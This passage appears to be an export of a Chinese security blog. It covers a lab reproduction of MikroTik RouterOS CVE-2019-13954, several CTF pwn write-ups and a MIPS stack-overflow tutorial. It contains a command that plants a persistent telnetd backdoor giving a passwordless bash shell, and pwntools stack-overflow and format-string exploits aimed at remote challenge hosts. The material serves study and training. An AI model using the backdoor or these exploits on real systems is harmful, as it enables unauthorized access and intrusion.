<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c6423bfa37f16b70.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>进入disk文件夹,因为我已经下过了,并且把busybox-i686和gdbserver.i686都放到自己的服务器上了,所以我这里就直接用scp从服务器上下载下来</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01367c14e18d10c7c9.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>别忘了给权限</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01f2553780f09fba37.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>最后我们还需要在/rw目录下编写一个DEFCONF脚本,用来使RouterOS开机运行后门,RouterOS每次开机都会运行DEFCONF这个文件,但是重启之后会没了,不想麻烦的,可以开个快照</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;</span><br></pre></td></tr></table></figure>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t0183f84ab6f62fd833-20230520110259677.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>在虚拟机里从硬盘重启RouterOS,重启后在要输入账号的时候出现下面这样,说明busybox的后门成功开启了</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01f1546d1aeae56c18.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>此时,我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">telnet ip port</span><br></pre></td></tr></table></figure>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01bebb5e5a94333012.jpg" alt="https://re1own.github.io/assets/img"></p>
<h3 id="漏洞文件获取"><a href="#漏洞文件获取" class="headerlink" title="漏洞文件获取"></a>漏洞文件获取</h3><p>在通过后门登陆后,查看www和jsproxy.p所在的位置</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c94008b4b9eb02c4.jpg" alt="https://re1own.github.io/assets/img"></p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t013315db1cdc5e6e1c.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>这里可以通过工具<a href="https://github.com/BigNerd95/Chimay-Red">Chimay-Red</a>从官网上提取6.40.5和6.42.11版本的www、jsproxy.p</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">./tools/getROSbin.py 6.40.5 x86 /nova/bin/www www_binary</span><br><span class="line">./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_2</span><br></pre></td></tr></table></figure>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t011f7a1f68c35be6c4.jpg" alt="https://re1own.github.io/assets/img"></p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01dce32a2a7bc96768.jpg" alt="https://re1own.github.io/assets/img"></p>
<h3 id="编译生成POC"><a href="#编译生成POC" class="headerlink" title="编译生成POC"></a>编译生成POC</h3><p>依赖环境:</p>
<ul>
<li>Boost 1.66 or higher</li>
<li>cmake (我ubuntu有装过,就不再装了)</li>
</ul>
<p>安装Boost:</p>
<p>Ubuntu:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo apt-get install libboost-dev</span><br></pre></td></tr></table></figure>
<p>测试代码:</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><boost/version.hpp></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><boost/config.hpp></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> cout << BOOST_VERSION << endl;</span><br><span class="line"> cout << BOOST_LIB_VERSION << endl;</span><br><span class="line"> cout << BOOST_PLATFORM << endl;</span><br><span class="line"> cout << BOOST_COMPILER << endl;</span><br><span class="line"> cout << BOOST_STDLIB << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>如果能运行并且出现下面的信息,说明成功</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t011279d2d5170c800b.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>POC编译的环境以及其他要用到的脚本文件</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">git clone https://github.com/tenable/routeros.git</span><br></pre></td></tr></table></figure>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01b1e77b77f2ec970c.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>编译生成cve_2019_13954的poc</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">cd cve_2019_13954</span><br><span class="line">mkdir build</span><br><span class="line">cd build</span><br><span class="line">cmake ..</span><br><span class="line">make</span><br></pre></td></tr></table></figure>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01942fb153f2995cdc.jpg" alt="https://re1own.github.io/assets/img"></p>
]]></content>
<categories>
<category>IoT安全</category>
</categories>
<tags>
<tag>CVE</tag>
<tag>IoT</tag>
</tags>
</entry>
<entry>
<title>PWN-pwnable.kr.fd</title>
<url>/2020/11/24/PWN-pwnable-kr-fd/</url>
<content><![CDATA[<p>第一次用这个oj,界面挺可爱的<br><img width="1628" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd84iewij31l70u0n2e.jpg"></p>
<p>连上去,发现目录下有flag,但是没有权限打开<br><img width="827" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd83z6r6j31l70u0n2e.jpg"></p>
<p>有fd的源代码,打开看看<br><img width="824" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd85ehpvj30yx0u0n0w.jpg"></p>
<p>发现就是一个file IO的问题<br>atoi是C语言中将字符串转化为数字的函数,又有一个read,参数传的fd,0x1234 = 4660<br>那么我们让传入的参数等于4660,这样fd = argv[1] - 0x1234就为0了,这样buf的赋值就是从0位置开始,覆盖32个字节长度,最后让read输入时读入LETMEWIN,到strcmp比较时就能成功匹配了,最后得到flag:mommy! I think I know what a file descriptor is!!<br><img width="812" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqd84v8c2j31l70u0n2e.jpg"></p>
<p>参考wp:<a href="https://0xrick.github.io/pwn/fd/">https://0xrick.github.io/pwn/fd/</a></p>
]]></content>
<tags>
<tag>PWN</tag>
<tag>CTF</tag>
</tags>
</entry>
<entry>
<title>PWN-整数溢出&栈溢出-bugku_pwn11</title>
<url>/2020/11/24/PWN-%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA-%E6%A0%88%E6%BA%A2%E5%87%BA-bugku-pwn11/</url>
<content><![CDATA[<p>长度变量v2定义成无符号类型,所以可以通过溢出,让他为负值<br><img width="510" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdgx3t1xj30sc0xedjm.jpg"></p>
<p>长度溢出后,分别覆盖s字符数组、长度变量v2、循环i,特别注意是read(0,&s[i],1u),每次循环读入单个字节<br><img width="497" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdgyugbyj30rm0lcgnl.jpg"></p>
<p>0x60<del>0x10覆盖数组,0x10</del>0xC都是覆盖长度变量(不管覆盖成多大都无所谓),但是i必须要注意,read是通过s[i]来覆盖整个栈的,所以我们可以直接改变i的值,让i指向rip位置,也就是s往下98,i赋值为’c’就行,随之就是rip覆盖成getflag的起始地址就行了,hhh<br><img width="1350" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdh01b6jj31h30u0gsl.jpg"></p>
<p>EXP:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = remote(<span class="string">"114.116.54.89"</span>,<span class="number">10011</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">r.recv()</span><br><span class="line">r.sendline(<span class="string">"-1"</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">'a'</span>*(<span class="number">0x60</span>-<span class="number">0xc</span>) + <span class="string">'c'</span> + p32(<span class="number">0x080486BB</span>)</span><br><span class="line"></span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>PWN</tag>
<tag>CTF</tag>
</tags>
</entry>
<entry>
<title>PWN-格式化字符串-攻防世界_实时数据检测</title>
<url>/2020/11/24/PWN-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2-%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C-%E5%AE%9E%E6%97%B6%E6%95%B0%E6%8D%AE%E6%A3%80%E6%B5%8B/</url>
<content><![CDATA[<p>key是全局变量,需要将key改变为特殊值35795746才行<br><img width="512" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdc5ppqpj30sg0hg0ut.jpg"></p>
<p>格式化字符串原理图:<br><img src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdc6j9s2j305s0aaaac.jpg" alt="image"></p>
<p>可以看出AAAA偏离自己的首地址的地址(也就是format string)的偏移量为12<br><img width="822" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdc7m0ivj319o09mq6p.jpg"></p>
<p>key变量地址:<br><img width="412" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdc6y4voj30mw0a8t9q.jpg"></p>
<p>EXP:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = remote(<span class="string">"111.200.241.244"</span>, <span class="number">33670</span>)</span><br><span class="line">key_addr = <span class="number">0x804A048</span> <span class="comment">#这是key变量的地址</span></span><br><span class="line">payload = fmtstr_payload(<span class="number">12</span>, {key_addr:<span class="number">35795746</span>}) <span class="comment">#写偏移的新方法</span></span><br><span class="line">r.sendline(payload)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>PWN</tag>
<tag>CTF</tag>
</tags>
</entry>
<entry>
<title>MIPS栈溢出入门</title>
<url>/2021/11/08/MIPS%E6%A0%88%E6%BA%A2%E5%87%BA%E5%85%A5%E9%97%A8/</url>
<content><![CDATA[<p>这是去年HWS夏令营的一道MIPS栈溢出题目,当时连PWN都还没入门的我欠下的坑,如今一年后补坑,不过我也半年多没有真正意义上做一道PWN题了,现在重新捡起二进制,入坑IoT安全!</p>
<p>上题:没有开保护,是一个MIPS小端程序</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gw70fm70gmj31ls0gotcp.jpg" alt="image-20211107233715224"></p>
<p>MIPS汇编函数调用结构特点(举例这里main函数的):</p>
<p>我的理解是:相对于x86而言,进入函数调用后,MIPS是通过专门的寄存器来保存调用之前的状态,比如这里,通过sp寄存器来分配main函数要用到的栈空间,ra用来保存调用main函数完后的返回地址,如果main函数内部不再调用子函数了,那么ra就在保存main函数的返回地址上发挥了一次作用而已,因为最后会把之前压入的返回地址又还给ra,最后jr $ra跳转到返回地址。如果main函数内有调用子函数,那么ra不光是最后作为跳转到返回地址的中间桥梁,而且中途还帮助别的函数做了一次跳板。原理和x86都是一样的,只不过MIPS多了专门的寄存器用来保存帧栈,不像x86是通过压栈出栈的方式来保存变量的栈空间和返回地址的跳转。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00400AEC main:</span><br><span class="line">.text:00400AEC addiu $sp, -0x28</span><br><span class="line">.text:00400AF0 sw $ra, 0x20+var_s4($sp)</span><br><span class="line">.text:00400AF4 sw $fp, 0x20+var_s0($sp)</span><br><span class="line">.......</span><br><span class="line">.......</span><br><span class="line">.......</span><br><span class="line">.......</span><br><span class="line">.......</span><br><span class="line">.text:00400BE4 addi $fp, 4</span><br><span class="line">.text:00400BE8 lw $ra, 0x20+var_s4($sp)</span><br><span class="line">.text:00400BEC lw $fp, 0x20+var_s0($sp)</span><br><span class="line">.text:00400BF0 addiu $sp, 0x28</span><br><span class="line">.text:00400BF4 jr $ra</span><br></pre></td></tr></table></figure>
<p>main汇编:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00400AEC # =============== S U B R O U T I N E =======================================</span><br><span class="line">.text:00400AEC</span><br><span class="line">.text:00400AEC # Attributes: bp-based frame fpd=0x20</span><br><span class="line">.text:00400AEC</span><br><span class="line">.text:00400AEC # int __cdecl main(int argc, const char **argv, const char **envp)</span><br><span class="line">.text:00400AEC .globl main</span><br><span class="line">.text:00400AEC main: # DATA XREF: LOAD:00400388↑o</span><br><span class="line">.text:00400AEC # _ftext+18↑o ...</span><br><span class="line">.text:00400AEC</span><br><span class="line">.text:00400AEC var_10 = -0x10</span><br><span class="line">.text:00400AEC var_8 = -8</span><br><span class="line">.text:00400AEC var_s0 = 0</span><br><span class="line">.text:00400AEC var_s4 = 4</span><br><span class="line">.text:00400AEC</span><br><span class="line">.text:00400AEC addiu $sp, -0x28</span><br><span class="line">.text:00400AF0 sw $ra, 0x20+var_s4($sp)</span><br><span class="line">.text:00400AF4 sw $fp, 0x20+var_s0($sp)</span><br><span class="line">.text:00400AF8 move $fp, $sp</span><br><span class="line">.text:00400AFC li $gp, 0x418E50</span><br><span class="line">.text:00400B04 sw $gp, 0x20+var_10($sp)</span><br><span class="line">.text:00400B08 la $v0, stdin</span><br><span class="line">.text:00400B0C lw $v0, (stdin - 0x410F08)($v0)</span><br><span class="line">.text:00400B10 move $a1, $zero</span><br><span class="line">.text:00400B14 move $a0, $v0</span><br><span class="line">.text:00400B18 la $v0, setbuf</span><br><span class="line">.text:00400B1C move $t9, $v0</span><br><span class="line">.text:00400B20 jalr $t9 ; setbuf</span><br><span class="line">.text:00400B24 nop</span><br><span class="line">.text:00400B28 lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400B2C la $v0, stdout</span><br><span class="line">.text:00400B30 lw $v0, (stdout - 0x410F18)($v0)</span><br><span class="line">.text:00400B34 move $a1, $zero</span><br><span class="line">.text:00400B38 move $a0, $v0</span><br><span class="line">.text:00400B3C la $v0, setbuf</span><br><span class="line">.text:00400B40 move $t9, $v0</span><br><span class="line">.text:00400B44 jalr $t9 ; setbuf</span><br><span class="line">.text:00400B48 nop</span><br><span class="line">.text:00400B4C lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400B50 lui $v0, 0x40 # '@'</span><br><span class="line">.text:00400B54 addiu $a0, $v0, (a33m - 0x400000) # "\x1B[33m"</span><br><span class="line">.text:00400B58 la $v0, printf</span><br><span class="line">.text:00400B5C move $t9, $v0</span><br><span class="line">.text:00400B60 jalr $t9 ; printf</span><br><span class="line">.text:00400B64 nop</span><br><span class="line">.text:00400B68 lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400B6C lui $v0, 0x40 # '@'</span><br><span class="line">.text:00400B70 addiu $a0, $v0, (aWe1c0meT0MpL0g - 0x400000) # "-----we1c0me t0 MP l0g1n s7stem-----"</span><br><span class="line">.text:00400B74 la $v0, puts</span><br><span class="line">.text:00400B78 move $t9, $v0</span><br><span class="line">.text:00400B7C jalr $t9 ; puts</span><br><span class="line">.text:00400B80 nop</span><br><span class="line">.text:00400B84 lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400B88 jal sub_400840</span><br><span class="line">.text:00400B8C nop</span><br><span class="line">.text:00400B90 lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400B94 sw $v0, 0x20+var_8($fp)</span><br><span class="line">.text:00400B98 lw $a0, 0x20+var_8($fp)</span><br><span class="line">.text:00400B9C jal sub_400978</span><br><span class="line">.text:00400BA0 nop</span><br><span class="line">.text:00400BA4 lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400BA8 lui $v0, 0x40 # '@'</span><br><span class="line">.text:00400BAC addiu $a0, $v0, (a32m - 0x400000) # "\x1B[32m"</span><br><span class="line">.text:00400BB0 la $v0, printf</span><br><span class="line">.text:00400BB4 move $t9, $v0</span><br><span class="line">.text:00400BB8 jalr $t9 ; printf</span><br><span class="line">.text:00400BBC nop</span><br><span class="line">.text:00400BC0 lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400BC4 lui $v0, 0x40 # '@'</span><br><span class="line">.text:00400BC8 addiu $a0, $v0, (aNowYouGetshell - 0x400000) # "Now you getshell~"</span><br><span class="line">.text:00400BCC la $v0, puts</span><br><span class="line">.text:00400BD0 move $t9, $v0</span><br><span class="line">.text:00400BD4 jalr $t9 ; puts</span><br><span class="line">.text:00400BD8 nop</span><br><span class="line">.text:00400BDC lw $gp, 0x20+var_10($fp)</span><br><span class="line">.text:00400BE0 nop</span><br><span class="line">.text:00400BE4 addi $fp, 4</span><br><span class="line">.text:00400BE8 lw $ra, 0x20+var_s4($sp)</span><br><span class="line">.text:00400BEC lw $fp, 0x20+var_s0($sp)</span><br><span class="line">.text:00400BF0 addiu $sp, 0x28</span><br><span class="line">.text:00400BF4 jr $ra</span><br><span class="line">.text:00400BF8 nop</span><br><span class="line">.text:00400BF8 # End of function main</span><br></pre></td></tr></table></figure>
<p>sub_400840汇编:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00400840 sub_400840: # CODE XREF: main+9C↓p</span><br><span class="line">.text:00400840</span><br><span class="line">.text:00400840 var_28 = -0x28</span><br><span class="line">.text:00400840 var_20 = -0x20</span><br><span class="line">.text:00400840 var_8 = -8</span><br><span class="line">.text:00400840 var_4 = -4</span><br><span class="line">.text:00400840</span><br><span class="line">.text:00400840 addiu $sp, -0x38</span><br><span class="line">.text:00400844 sw $ra, 0x38+var_4($sp)</span><br><span class="line">.text:00400848 sw $fp, 0x38+var_8($sp)</span><br><span class="line">.text:0040084C move $fp, $sp</span><br><span class="line">.text:00400850 li $gp, 0x418E50</span><br><span class="line">.text:00400858 sw $gp, 0x38+var_28($sp)</span><br><span class="line">.text:0040085C li $a2, 0x18</span><br><span class="line">.text:00400860 move $a1, $zero</span><br><span class="line">.text:00400864 addiu $v0, $fp, 0x38+var_20</span><br><span class="line">.text:00400868 move $a0, $v0</span><br><span class="line">.text:0040086C la $v0, memset</span><br><span class="line">.text:00400870 move $t9, $v0</span><br><span class="line">.text:00400874 jalr $t9 ; memset</span><br><span class="line">.text:00400878 nop</span><br><span class="line">.text:0040087C lw $gp, 0x38+var_28($fp)</span><br><span class="line">.text:00400880 lui $v0, 0x40</span><br><span class="line">.text:00400884 addiu $a0, $v0, (a34m - 0x400000) # "\x1B[34m"</span><br><span class="line">.text:00400888 la $v0, printf</span><br><span class="line">.text:0040088C move $t9, $v0</span><br><span class="line">.text:00400890 jalr $t9 ; printf</span><br><span class="line">.text:00400894 nop</span><br><span class="line">.text:00400898 lw $gp, 0x38+var_28($fp)</span><br><span class="line">.text:0040089C lui $v0, 0x40</span><br><span class="line">.text:004008A0 addiu $a0, $v0, (aUsername - 0x400000) # "Username : "</span><br><span class="line">.text:004008A4 la $v0, printf</span><br><span class="line">.text:004008A8 move $t9, $v0</span><br><span class="line">.text:004008AC jalr $t9 ; printf</span><br><span class="line">.text:004008B0 nop</span><br><span class="line">.text:004008B4 lw $gp, 0x38+var_28($fp)</span><br><span class="line">.text:004008B8 li $a2, 0x18</span><br><span class="line">.text:004008BC addiu $a1, $sp, 0x38+var_20</span><br><span class="line">.text:004008C0 nop</span><br><span class="line">.text:004008C4 move $a0, $zero</span><br><span class="line">.text:004008C8 la $v0, read</span><br><span class="line">.text:004008CC move $t9, $v0</span><br><span class="line">.text:004008D0 jalr $t9 ; read</span><br><span class="line">.text:004008D4 nop</span><br><span class="line">.text:004008D8 lw $gp, 0x38+var_28($fp)</span><br><span class="line">.text:004008DC li $a2, 5</span><br><span class="line">.text:004008E0 lui $v0, 0x40</span><br><span class="line">.text:004008E4 addiu $a1, $v0, (aAdmin - 0x400000) # "admin"</span><br><span class="line">.text:004008E8 addiu $v0, $fp, 0x38+var_20</span><br><span class="line">.text:004008EC move $a0, $v0</span><br><span class="line">.text:004008F0 la $v0, strncmp</span><br><span class="line">.text:004008F4 move $t9, $v0</span><br><span class="line">.text:004008F8 jalr $t9 ; strncmp</span><br><span class="line">.text:004008FC nop</span><br><span class="line">.text:00400900 lw $gp, 0x38+var_28($fp)</span><br><span class="line">.text:00400904 beqz $v0, loc_400920</span><br><span class="line">.text:00400908 nop</span><br><span class="line">.text:0040090C move $a0, $zero</span><br><span class="line">.text:00400910 la $v0, exit</span><br><span class="line">.text:00400914 move $t9, $v0</span><br><span class="line">.text:00400918 jalr $t9 ; exit</span><br><span class="line">.text:0040091C nop</span><br></pre></td></tr></table></figure>
<p>sub_400978汇编:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">text:00400978 sub_400978: # CODE XREF: main+B0↓p</span><br><span class="line">.text:00400978</span><br><span class="line">.text:00400978 var_58 = -0x58</span><br><span class="line">.text:00400978 var_50 = -0x50</span><br><span class="line">.text:00400978 var_3C = -0x3C</span><br><span class="line">.text:00400978 var_2C = -0x2C</span><br><span class="line">.text:00400978 var_8 = -8</span><br><span class="line">.text:00400978 var_4 = -4</span><br><span class="line">.text:00400978 arg_0 = 0</span><br><span class="line">.text:00400978</span><br><span class="line">.text:00400978 addiu $sp, -0x68</span><br><span class="line">.text:0040097C sw $ra, 0x68+var_4($sp)</span><br><span class="line">.text:00400980 sw $fp, 0x68+var_8($sp)</span><br><span class="line">.text:00400984 move $fp, $sp</span><br><span class="line">.text:00400988 li $gp, 0x418E50</span><br><span class="line">.text:00400990 sw $gp, 0x68+var_58($sp)</span><br><span class="line">.text:00400994 sw $a0, 0x68+arg_0($fp)</span><br><span class="line">.text:00400998 lw $v0, 0x68+arg_0($fp)</span><br><span class="line">.text:0040099C addi $v0, 4</span><br><span class="line">.text:004009A0 sw $v0, 0x68+var_3C($fp)</span><br><span class="line">.text:004009A4 lui $v0, 0x40</span><br><span class="line">.text:004009A8 addiu $a0, $v0, (a31m - 0x400000) # "\x1B[31m"</span><br><span class="line">.text:004009AC la $v0, printf</span><br><span class="line">.text:004009B0 move $t9, $v0</span><br><span class="line">.text:004009B4 jalr $t9 ; printf</span><br><span class="line">.text:004009B8 nop</span><br><span class="line">.text:004009BC lw $gp, 0x68+var_58($fp)</span><br><span class="line">.text:004009C0 lui $v0, 0x40</span><br><span class="line">.text:004009C4 addiu $a0, $v0, (aPrePassword - 0x400000) # "Pre_Password : "</span><br><span class="line">.text:004009C8 la $v0, printf</span><br><span class="line">.text:004009CC move $t9, $v0</span><br><span class="line">.text:004009D0 jalr $t9 ; printf</span><br><span class="line">.text:004009D4 nop</span><br><span class="line">.text:004009D8 lw $gp, 0x68+var_58($fp)</span><br><span class="line">.text:004009DC addiu $a1, $sp, 0x68+var_50</span><br><span class="line">.text:004009E0 li $a2, 0x24</span><br><span class="line">.text:004009E4 nop</span><br><span class="line">.text:004009E8 move $a0, $zero</span><br><span class="line">.text:004009EC la $v0, read</span><br><span class="line">.text:004009F0 move $t9, $v0</span><br><span class="line">.text:004009F4 jalr $t9 ; read</span><br><span class="line">.text:004009F8 nop</span><br><span class="line">.text:004009FC lw $gp, 0x68+var_58($fp)</span><br><span class="line">.text:00400A00 lui $v0, 0x40</span><br><span class="line">.text:00400A04 addiu $a0, $v0, (aPassword - 0x400000) # "Password : "</span><br><span class="line">.text:00400A08 la $v0, printf</span><br><span class="line">.text:00400A0C move $t9, $v0</span><br><span class="line">.text:00400A10 jalr $t9 ; printf</span><br><span class="line">.text:00400A14 nop</span><br><span class="line">.text:00400A18 lw $gp, 0x68+var_58($fp)</span><br><span class="line">.text:00400A1C addiu $a1, $sp, 0x68+var_2C</span><br><span class="line">.text:00400A20 lw $a2, 0x68+var_3C($fp)</span><br><span class="line">.text:00400A24 nop</span><br><span class="line">.text:00400A28 move $a0, $zero</span><br><span class="line">.text:00400A2C la $v0, read</span><br><span class="line">.text:00400A30 move $t9, $v0</span><br><span class="line">.text:00400A34 jalr $t9 ; read</span><br><span class="line">.text:00400A38 nop</span><br><span class="line">.text:00400A3C lw $gp, 0x68+var_58($fp)</span><br><span class="line">.text:00400A40 addiu $v1, $fp, 0x68+var_50</span><br><span class="line">.text:00400A44 li $a2, 6</span><br><span class="line">.text:00400A48 lui $v0, 0x40</span><br><span class="line">.text:00400A4C addiu $a1, $v0, (aAccess - 0x400000) # "access"</span><br><span class="line">.text:00400A50 move $a0, $v1</span><br><span class="line">.text:00400A54 la $v0, strncmp</span><br><span class="line">.text:00400A58 move $t9, $v0</span><br><span class="line">.text:00400A5C jalr $t9 ; strncmp</span><br><span class="line">.text:00400A60 nop</span><br><span class="line">.text:00400A64 lw $gp, 0x68+var_58($fp)</span><br><span class="line">.text:00400A68 bnez $v0, loc_400AA0</span><br><span class="line">.text:00400A6C nop</span><br><span class="line">.text:00400A70 addiu $v1, $fp, 0x68+var_2C</span><br><span class="line">.text:00400A74 li $a2, 0xA</span><br><span class="line">.text:00400A78 lui $v0, 0x40</span><br><span class="line">.text:00400A7C addiu $a1, $v0, (a0123456789 - 0x400000) # "0123456789"</span><br><span class="line">.text:00400A80 move $a0, $v1</span><br><span class="line">.text:00400A84 la $v0, strncmp</span><br><span class="line">.text:00400A88 move $t9, $v0</span><br><span class="line">.text:00400A8C jalr $t9 ; strncmp</span><br><span class="line">.text:00400A90 nop</span><br><span class="line">.text:00400A94 lw $gp, 0x68+var_58($fp)</span><br><span class="line">.text:00400A98 beqz $v0, loc_400AB4</span><br><span class="line">.text:00400A9C nop</span><br></pre></td></tr></table></figure>
<p>Ida7.5能反汇编MIPS架构的C:</p>
<p>main</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v3; <span class="comment">// $a2</span></span><br><span class="line"> <span class="keyword">int</span> v5; <span class="comment">// [sp+18h] [+18h]</span></span><br><span class="line"></span><br><span class="line"> setbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, envp);</span><br><span class="line"> setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, v3);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\x1B[33m"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"-----we1c0me t0 MP l0g1n s7stem-----"</span>);</span><br><span class="line"> v5 = sub_400840();</span><br><span class="line"> sub_400978(v5);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\x1B[32m"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">"Now you getshell~"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>sub_400840:这里可知Username的前5个字节得为admin</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">sub_400840</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> v1[<span class="number">24</span>]; <span class="comment">// [sp+18h] [+18h] BYREF</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(v1, <span class="number">0</span>, <span class="keyword">sizeof</span>(v1));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\x1B[34m"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Username : "</span>);</span><br><span class="line"> read(<span class="number">0</span>, v1, <span class="number">24</span>);</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">strncmp</span>(v1, <span class="string">"admin"</span>, <span class="number">5</span>) )</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Correct name : %s"</span>, v1);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">strlen</span>(v1);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>sub_400978:这里的read(0,v2,36)发生了栈溢出,可以溢出覆盖v3(控制v4长度的变量)和v4</p>
